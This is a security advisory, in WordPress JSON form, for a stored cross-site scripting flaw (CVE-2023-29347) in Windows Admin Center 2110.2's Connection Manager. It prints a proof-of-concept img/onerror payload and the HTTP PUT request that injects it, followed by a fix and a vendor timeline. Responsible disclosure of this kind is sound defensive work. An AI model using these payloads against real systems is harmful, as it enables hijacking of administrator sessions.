{"id":20748,"date":"2023-08-14T12:01:07","date_gmt":"2023-08-14T10:01:07","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/20729-2\/"},"modified":"2023-08-16T08:57:02","modified_gmt":"2023-08-16T06:57:02","slug":"usd-2022-0028","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0028\/","title":{"rendered":"usd-2022-0028"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.21.0\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2022-0028 | Windows Admin Center 2110.2 - Stored XSS<\/h1>\n<p><strong>Advisory ID:<\/strong> usd-2022-0028<br \/><strong>Product:<\/strong> Windows Admin Center<br \/><strong>Affected Version:<\/strong> 2110.2 Build 1.3.2204.19002<br \/><strong>Vulnerability Type:<\/strong> <a>https:\/\/cwe.mitre.org\/data\/definitions\/79.html<\/a><br \/><strong>Security Risk:<\/strong> High<br \/><strong>Vendor URL:<\/strong> <a>https:\/\/microsoft.com<\/a><br \/><strong>Vendor Status:<\/strong> Fixed<br \/><strong>CVE number:<\/strong> CVE-2023-29347<br \/><strong>Last Update:<\/strong> 2023-08-14<\/p>\n<h2>Description<\/h2>\n<p>Windows Admin Center is a centralized management tool developed by Microsoft for IT administrators to manage and monitor Windows Server and Windows 10 systems. It provides a web-based graphical user interface (GUI) that allows administrators to perform various administrative tasks, such as configuring settings, managing storage, running PowerShell scripts, and monitoring system performance.<\/p>\n<p>The Windows Admin Center 2110.2 is vulnerable to a stored Cross-Site Scripting attack in the name field of the Connection Manager.<\/p>\n<p>The Windows Admin Center allows users to manage remote servers, PCs or clusters.<br \/>These items can be either imported using a text file or suppling the name in a form field.<br \/>Both fields can be used to inject XSS payload.<\/p>\n<h2>Proof of Concept<\/h2>\n<p>An example text file is shown below:<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">\"&gt;&lt;img src=\/X onerror=alert(document.domain)&gt;\n1ginqx55f5kbeebbo67cjp6w5nbgz5.burp.usd.de\n<\/pre>\n<p><em>Note: script tags and other payloads failed during the test. You may need to use the img tag.<\/em><\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\"><code class=\"language-http\">PUT \/api\/connections HTTP\/1.1\nHost: XXX\nCookie: XXX\n\n[{\"id\":\"msft.sme.connection-type.cluster!\\\"&gt;&lt;img src=\/x onerror=alert(document.domain)&gt;\",\"type\":\"msft.sme.connection-type.cluster\",\"name\":\"\\\"&gt;&lt;img src=\/x onerror=alert(document.domain)&gt;\",\"properties\":{\"connectionType\":\"cluster\",\"ncUri\":null,\"nodes\":[]},\"tags\":[]}]\n<\/code><\/pre>\n<p>The following screen shows, that the payload is triggered after a short time on the page.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/08\/usd20220028-1.png\" width=\"904\" height=\"338\" alt=\"\" class=\"wp-image-20736 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/08\/usd20220028-1.png 904w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/08\/usd20220028-1-480x179.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 904px, 100vw\" \/><\/p>\n<h2>Fix<\/h2>\n<p>It is recommended to treat all input on the website as potentially dangerous.<br \/>Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context.<br \/>The majority of programming languages support standard procedures for encoding meta characters.<\/p>\n<h2>References<\/h2>\n<ul>\n<li><a>https:\/\/owasp.org\/www-community\/attacks\/xss\/<\/a><\/li>\n<\/ul>\n<h2>Timeline<\/h2>\n<p>2022-07-06: First contact request via mail<br \/>2022-07-19: Vendor requested more information. More information shared.<br \/>2022-07-29: Microsoft reported that the vulnerability was reproduced and triaged.<br \/>2022-08-08: Microsoft reported that vulnerability is out of scope for bounty award.<br \/>2023-06-13: Patch released<\/p>\n<h2>Credits<\/h2>\n<p>This security vulnerability was found by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0028 | Windows Admin Center 2110.2 - Stored XSS Advisory ID: usd-2022-0028Product: Windows Admin CenterAffected Version: 2110.2 Build 1.3.2204.19002Vulnerability Type: https:\/\/cwe.mitre.org\/data\/definitions\/79.htmlSecurity Risk: HighVendor URL: https:\/\/microsoft.comVendor Status: FixedCVE number: CVE-2023-29347Last Update: 2023-08-14 Description Windows Admin Center is a centralized management tool developed by Microsoft for IT administrators to manage and monitor Windows Server and Windows 10 [&hellip;]<\/p>\n","protected":false},"author":115,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-20748","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20748","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/115"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=20748"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20748\/revisions"}],"predecessor-version":[{"id":20768,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/20748\/revisions\/20768"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=20748"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}